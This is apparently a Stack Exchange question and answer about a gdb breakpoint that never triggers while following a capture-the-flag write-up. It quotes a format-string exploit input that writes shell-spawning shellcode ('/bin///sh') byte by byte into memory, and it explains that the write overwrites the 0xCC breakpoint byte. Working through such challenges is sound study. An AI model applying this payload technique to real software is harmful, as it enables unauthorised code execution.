2

I was following the writeup of the challenge tehran. If I set a breakpoint 0x804bade, it never gets hit for the following input.

begin() {
    fillout(0x8048000, 16384, 7);
    puts("%144c%n", 42, 0x804bade);
    puts("%144c%n", 42, 0x804badf);
    puts("%144c%n", 42, 0x804bae0);
    puts("%144c%n", 42, 0x804bae1);
    puts("%144c%n", 42, 0x804bae2);
    puts("%104c%n", 42, 0x804bae3);
    puts("%1c%n", 42, 0x804bae4);
    puts("%1c%n", 42, 0x804bae5);
    puts("%1c%n", 42, 0x804bae6);
    puts("%1c%n", 42, 0x804bae7);
    puts("%129c%n", 42, 0x804bae8);
    puts("%52c%n", 42, 0x804bae9);
    puts("%36c%n", 42, 0x804baea);
    puts("%114c%n", 42, 0x804baeb);
    puts("%105c%n", 42, 0x804baec);
    puts("%1c%n", 42, 0x804baed);
    puts("%1c%n", 42, 0x804baee);
    puts("%49c%n", 42, 0x804baef);
    puts("%210c%n", 42, 0x804baf0);
    puts("%82c%n", 42, 0x804baf1);
    puts("%106c%n", 42, 0x804baf2);
    puts("%4c%n", 42, 0x804baf3);
    puts("%90c%n", 42, 0x804baf4);
    puts("%1c%n", 42, 0x804baf5);
    puts("%226c%n", 42, 0x804baf6);
    puts("%82c%n", 42, 0x804baf7);
    puts("%137c%n", 42, 0x804baf8);
    puts("%226c%n", 42, 0x804baf9);
    puts("%106c%n", 42, 0x804bafa);
    puts("%104c%n", 42, 0x804bafb);
    puts("%104c%n", 42, 0x804bafc);
    puts("%47c%n", 42, 0x804bafd);
    puts("%47c%n", 42, 0x804bafe);
    puts("%47c%n", 42, 0x804baff);
    puts("%115c%n", 42, 0x804bb00);
    puts("%104c%n", 42, 0x804bb01);
    puts("%47c%n", 42, 0x804bb02);
    puts("%98c%n", 42, 0x804bb03);
    puts("%105c%n", 42, 0x804bb04);
    puts("%110c%n", 42, 0x804bb05);
    puts("%106c%n", 42, 0x804bb06);
    puts("%11c%n", 42, 0x804bb07);
    puts("%88c%n", 42, 0x804bb08);
    puts("%137c%n", 42, 0x804bb09);
    puts("%227c%n", 42, 0x804bb0a);
    puts("%137c%n", 42, 0x804bb0b);
    puts("%209c%n", 42, 0x804bb0c);
    puts("%153c%n", 42, 0x804bb0d);
    puts("%205c%n", 42, 0x804bb0e);
    puts("%128c%n", 42, 0x804bb0f);
}

What can the reason be?

enter image description here

1
  • what is this error at the bottom saying that it cannot insert breakpoint at this location? if it cannot then it won't be hit Commented Jan 19, 2017 at 7:48

1 Answer 1

2

I found out the reason myself and it was truly enlightening! To insert a breakpoint, gcc replaces the bytes at the beginning of the breakpoint location with INT 3 instruction (0xCC byte) and records the original byte replaced in its internal table. The input was writing a shellcode at the location I was trying to set a breakpoint on. Since the shellcode was interfereing with the breakpoint, it was overwriting the 0xCC bytes, thereby failing gcc to insert a software breakpoint.

3
  • You can use hbreak to set a hardware breakpoint, but be aware that the overall amount you can use is limited by CPU support
    – Nordwald
    Commented Jan 19, 2017 at 9:36
  • Note also that detecting the modification of the memory (while inserting 0xcc) is a well known anti-debug technique for obfuscated software.
    – perror
    Commented Jan 19, 2017 at 9:47
  • Thanks a lot! This was exactly the reason of my breakpoints not working. I am debugging an application packed with the UPX packer. I have to wait until its fully unpacked in memory and just then can I set a breakpoint. Otherwise the 0xcc break instruction is rewritten by the unpacking routine. Commented Feb 22, 2019 at 14:47

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.